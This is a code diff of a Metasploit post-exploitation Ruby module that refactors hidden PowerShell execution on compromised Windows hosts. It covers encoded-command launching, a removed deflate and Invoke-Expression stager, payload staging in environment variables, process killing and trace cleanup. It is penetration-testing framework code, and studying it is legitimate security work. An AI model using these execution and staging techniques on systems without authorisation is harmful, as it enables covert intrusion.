1
1
# -*- coding: binary -*-
2
- require 'zlib '
2
+ require 'msf/core/exploit/powershell '
3
3
require 'msf/core/post/common'
4
4
5
5
module Msf
6
6
class Post
7
7
module Windows
8
8
9
9
module Powershell
10
+ include ::Msf ::Exploit ::Powershell
10
11
include ::Msf ::Post ::Common
11
12
12
-
13
- # List of running processes, open channels, and env variables...
14
-
15
-
16
- # Suffix for environment variables
13
+ def initialize ( info = { } )
14
+ super
15
+ register_advanced_options (
16
+ [
17
+ OptInt . new ( 'PSH::timeout' , [ true , 'Powershell execution timeout, set < 0 to run async without termination' , 15 ] ) ,
18
+ OptBool . new ( 'PSH::log_output' , [ true , 'Write output to log file' , false ] ) ,
19
+ OptBool . new ( 'PSH::dry_run' , [ true , 'Write output to log file' , false ] ) ,
20
+ ] , self . class )
21
+ end
17
22
18
23
#
19
24
# Returns true if powershell is installed
@@ -25,108 +30,51 @@ def have_powershell?
25
30
end
26
31
27
32
#
28
- # Insert substitutions into the powershell script
29
- #
30
- def make_subs ( script , subs )
31
- subs . each do |set |
32
- script . gsub! ( set [ 0 ] , set [ 1 ] )
33
- end
34
- if datastore [ 'VERBOSE' ]
35
- print_good ( "Final Script: " )
36
- script . each_line { |l | print_status ( "\t #{ l } " ) }
37
- end
38
- end
39
-
40
- #
41
- # Return an array of substitutions for use in make_subs
42
- #
43
- def process_subs ( subs )
44
- return [ ] if subs . nil? or subs . empty?
45
- new_subs = [ ]
46
- subs . split ( ';' ) . each do |set |
47
- new_subs << set . split ( ',' , 2 )
48
- end
49
- return new_subs
50
- end
51
-
52
- #
53
- # Read in a powershell script stored in +script+
54
- #
55
- def read_script ( script )
56
- script_in = ''
57
- begin
58
- # Open script file for reading
59
- fd = ::File . new ( script , 'r' )
60
- while ( line = fd . gets )
61
- script_in << line
62
- end
63
-
64
- # Close open file
65
- fd . close ( )
66
- rescue Errno ::ENAMETOOLONG , Errno ::ENOENT
67
- # Treat script as a... script
68
- script_in = script
69
- end
70
- return script_in
71
- end
72
-
73
-
74
- #
75
- # Return a zlib compressed powershell script
33
+ # Get/compare list of current PS processes - nested execution can spawn many children
34
+ # doing checks before and after execution allows us to kill more children...
35
+ # This is a hack, better solutions are welcome since this could kill user
36
+ # spawned powershell windows created between comparisons.
76
37
#
77
- def compress_script ( script_in , eof = nil )
78
-
79
- # Compress using the Deflate algorithm
80
- compressed_stream = ::Zlib ::Deflate . deflate ( script_in ,
81
- ::Zlib ::BEST_COMPRESSION )
82
-
83
- # Base64 encode the compressed file contents
84
- encoded_stream = Rex ::Text . encode_base64 ( compressed_stream )
85
-
86
- # Build the powershell expression
87
- # Decode base64 encoded command and create a stream object
88
- psh_expression = "$stream = New-Object IO.MemoryStream(,"
89
- psh_expression += "$([Convert]::FromBase64String('#{ encoded_stream } ')));"
90
- # Read & delete the first two bytes due to incompatibility with MS
91
- psh_expression += "$stream.ReadByte()|Out-Null;"
92
- psh_expression += "$stream.ReadByte()|Out-Null;"
93
- # Uncompress and invoke the expression (execute)
94
- psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
95
- psh_expression += "$(New-Object IO.Compression.DeflateStream("
96
- psh_expression += "$stream,"
97
- psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
98
- psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
99
-
100
- # If eof is set, add a marker to signify end of script output
101
- if ( eof && eof . length == 8 ) then psh_expression += "'#{ eof } '" end
102
-
103
- # Convert expression to unicode
104
- unicode_expression = Rex ::Text . to_unicode ( psh_expression )
105
-
106
- # Base64 encode the unicode expression
107
- encoded_expression = Rex ::Text . encode_base64 ( unicode_expression )
108
-
109
- return encoded_expression
38
+ def get_ps_pids ( pids = [ ] )
39
+ current_pids = session . sys . process . get_processes . keep_if { |p |
40
+ p [ 'name' ] . downcase == 'powershell.exe'
41
+ } . map { |p | p [ 'pid' ] }
42
+ # Subtract previously known pids
43
+ current_pids = ( current_pids - pids ) . uniq
44
+ return current_pids
110
45
end
111
46
112
47
#
113
- # Execute a powershell script and return the results. The script is never written
114
- # to disk.
48
+ # Execute a powershell script and return the output, channels, and pids. The script
49
+ # is never written to disk.
115
50
#
116
- def execute_script ( script , time_out = 15 )
117
- running_pids , open_channels = [ ] , [ ]
51
+ def execute_script ( script , greedy_kill = false )
52
+ @session_pids ||= [ ]
53
+ running_pids = greedy_kill ? get_ps_pids : [ ]
54
+ open_channels = [ ]
118
55
# Execute using -EncodedCommand
119
- session . response_timeout = time_out
120
- cmd_out = session . sys . process . execute ( "powershell -EncodedCommand " +
121
- "#{ script } " , nil , { 'Hidden' => true , 'Channelized' => true } )
56
+ session . response_timeout = datastore [ 'PSH::timeout' ] . to_i
57
+ ps_bin = datastore [ 'RUN_WOW64' ] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
58
+ ps_string = "#{ ps_bin } -EncodedCommand #{ script } -InputFormat None"
59
+ # vprint_good("EXECUTING:\n#{ps_string}")
60
+ cmd_out = session . sys . process . execute ( ps_string , nil , { 'Hidden' => true , 'Channelized' => true } )
61
+
62
+ # Subtract prior PIDs from current
63
+ if greedy_kill
64
+ Rex ::ThreadSafe . sleep ( 3 ) # Let PS start child procs
65
+ running_pids = get_ps_pids ( running_pids )
66
+ end
122
67
123
68
# Add to list of running processes
124
69
running_pids << cmd_out . pid
125
70
71
+ # All pids start here, so store them in a class variable
72
+ ( @session_pids += running_pids ) . uniq!
73
+
126
74
# Add to list of open channels
127
75
open_channels << cmd_out
128
76
129
- return [ cmd_out , running_pids , open_channels ]
77
+ return [ cmd_out , running_pids . uniq , open_channels ]
130
78
end
131
79
132
80
@@ -163,8 +111,7 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
163
111
164
112
# Stage the payload
165
113
print_good ( " - Bytes remaining: #{ compressed_script . size - index } " )
166
- execute_script ( encoded_stager )
167
-
114
+ cmd_out , running_pids , open_channels = execute_script ( encoded_stager , false )
168
115
# Increment index
169
116
index += count
170
117
@@ -184,58 +131,162 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
184
131
end
185
132
186
133
#
187
- # Log the results of the powershell script
134
+ # Reads output of the command channel and empties the buffer.
135
+ # Will optionally log command output to disk.
188
136
#
189
- def write_to_log ( cmd_out , log_file , eof )
190
- # Open log file for writing
191
- fd = ::File . new ( log_file , 'w+' )
137
+ def get_ps_output ( cmd_out , eof , read_wait = 5 )
138
+ results = ''
139
+
140
+ if datastore [ 'PSH::log_output' ]
141
+ # Get target's computer name
142
+ computer_name = session . sys . config . sysinfo [ 'Computer' ]
143
+
144
+ # Create unique log directory
145
+ log_dir = ::File . join ( Msf ::Config . log_directory , 'scripts' , 'powershell' , computer_name )
146
+ ::FileUtils . mkdir_p ( log_dir )
147
+
148
+ # Define log filename
149
+ time_stamp = ::Time . now . strftime ( '%Y%m%d:%H%M%S' )
150
+ log_file = ::File . join ( log_dir , "#{ time_stamp } .txt" )
192
151
193
- # Read output until eof and write to log
194
- while ( line = cmd_out . channel . read ( ) )
152
+
153
+ # Open log file for writing
154
+ fd = ::File . new ( log_file , 'w+' )
155
+ end
156
+
157
+ # Read output until eof or nil return output and write to log
158
+ while ( 1 )
159
+ line = ::Timeout . timeout ( read_wait ) {
160
+ cmd_out . channel . read
161
+ } rescue nil
162
+ break if line . nil?
195
163
if ( line . sub! ( /#{ eof } / , '' ) )
196
- fd . write ( line )
197
- vprint_good ( " \t #{ line } " )
198
- cmd_out . channel . close ( )
164
+ results << line
165
+ fd . write ( line ) if fd
166
+ #vprint_good("\t#{line}" )
199
167
break
200
168
end
201
- fd . write ( line )
202
- vprint_good ( "\t #{ line } " )
169
+ results << line
170
+ fd . write ( line ) if fd
171
+ #vprint_status("\n#{line}")
203
172
end
204
173
205
174
# Close log file
206
- fd . close ( )
207
-
208
- return
175
+ # cmd_out.channel.close()
176
+ fd . close ( ) if fd
177
+
178
+ return results
179
+
180
+ #
181
+ # Incremental read method - NOT USED
182
+ #
183
+ # read_data = ''
184
+ # segment = 2**16
185
+ # # Read incrementally smaller blocks after each failure/timeout
186
+ # while segment > 0 do
187
+ # begin
188
+ # read_data << ::Timeout.timeout(read_wait) {
189
+ # cmd_out.channel.read(segment)
190
+ # }
191
+ # rescue
192
+ # segment = segment/2
193
+ # end
194
+ # end
209
195
end
210
196
211
197
#
212
198
# Clean up powershell script including process and chunks stored in environment variables
213
199
#
214
- def clean_up ( script_file = nil , eof = '' , running_pids = [ ] , open_channels = [ ] , env_suffix = Rex ::Text . rand_text_alpha ( 8 ) , delete = false )
200
+ def clean_up (
201
+ script_file = nil ,
202
+ eof = '' ,
203
+ running_pids = [ ] ,
204
+ open_channels = [ ] ,
205
+ env_suffix = Rex ::Text . rand_text_alpha ( 8 ) ,
206
+ delete = false
207
+ )
215
208
# Remove environment variables
216
209
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
217
210
env_del_command += "Select-String #{ env_suffix } |%{"
218
211
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
219
- script = compress_script ( env_del_command , eof )
220
- cmd_out , running_pids , open_channels = *execute_script ( script )
221
- write_to_log ( cmd_out , "/dev/null" , eof )
222
212
223
- # Kill running processes
224
- running_pids . each ( ) do |pid |
225
- session . sys . process . kill ( pid )
213
+ script = compress_script ( env_del_command , eof )
214
+ cmd_out , new_running_pids , new_open_channels = execute_script ( script )
215
+ get_ps_output ( cmd_out , eof )
216
+
217
+ # Kill running processes, should mutex this...
218
+ @session_pids = ( @session_pids + running_pids + new_running_pids ) . uniq
219
+ ( running_pids + new_running_pids ) . uniq . each do |pid |
220
+ begin
221
+ if session . sys . process . processes . map { |x |x [ 'pid' ] } . include? ( pid )
222
+ session . sys . process . kill ( pid )
223
+ end
224
+ @session_pids . delete ( pid )
225
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
226
+ print_error "Failed to kill #{ pid } due to #{ e } "
227
+ end
226
228
end
227
229
228
230
229
231
# Close open channels
230
- open_channels . each ( ) do |chan |
231
- chan . channel . close ( )
232
+ ( open_channels + new_open_channels ) . uniq . each do |chan |
233
+ chan . channel . close
232
234
end
233
235
234
236
::File . delete ( script_file ) if ( script_file and delete )
235
237
236
238
return
237
239
end
238
240
241
+ #
242
+ # Simple script execution wrapper, performs all steps
243
+ # required to execute a string of powershell.
244
+ # This method will try to kill all powershell.exe PIDs
245
+ # which appeared during its execution, set greedy_kill
246
+ # to false if this is not desired.
247
+ #
248
+ def psh_exec ( script , greedy_kill = true , ps_cleanup = true )
249
+ # Define vars
250
+ eof = Rex ::Text . rand_text_alpha ( 8 )
251
+ # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
252
+ env_suffix = Rex ::Text . rand_text_alpha ( 8 )
253
+ script = PshScript . new ( script ) unless script . respond_to? ( :compress_code )
254
+ # Check format
255
+ if script =~ /\s |\. |\; /
256
+ script = compress_script ( script , eof )
257
+ end
258
+ if datastore [ 'PSH::dry_run' ]
259
+ return "powershell -EncodedCommand #{ script } "
260
+ else
261
+ # Check 8k cmd buffer limit, stage if needed
262
+ if ( script . size > 8100 )
263
+ vprint_error ( "Compressed size: #{ script . size } " )
264
+ error_msg = "Compressed size may cause command to exceed "
265
+ error_msg += "cmd.exe's 8kB character limit."
266
+ vprint_error ( error_msg )
267
+ vprint_good ( 'Launching stager:' )
268
+ script = stage_to_env ( script , env_suffix )
269
+ print_good ( "Payload successfully staged." )
270
+ else
271
+ print_good ( "Compressed size: #{ script . size } " )
272
+ end
273
+ # Execute the script, get the output, and kill the resulting PIDs
274
+ cmd_out , running_pids , open_channels = execute_script ( script , greedy_kill )
275
+ if datastore [ 'PSH::timeout' ] . to_i < 0
276
+ out = 'Started async execution, output collection and cleanup will not be performed'
277
+ print_error out
278
+ return out
279
+ end
280
+ ps_output = get_ps_output ( cmd_out , eof , datastore [ 'PSH::timeout' ] )
281
+ # Kill off the resulting processes if needed
282
+ if ps_cleanup
283
+ vprint_good ( "Cleaning up #{ running_pids . join ( ', ' ) } " )
284
+ clean_up ( nil , eof , running_pids , open_channels , env_suffix , false )
285
+ end
286
+ return ps_output
287
+ end
288
+ end
289
+
239
290
end
240
291
end
241
292
end
0 commit comments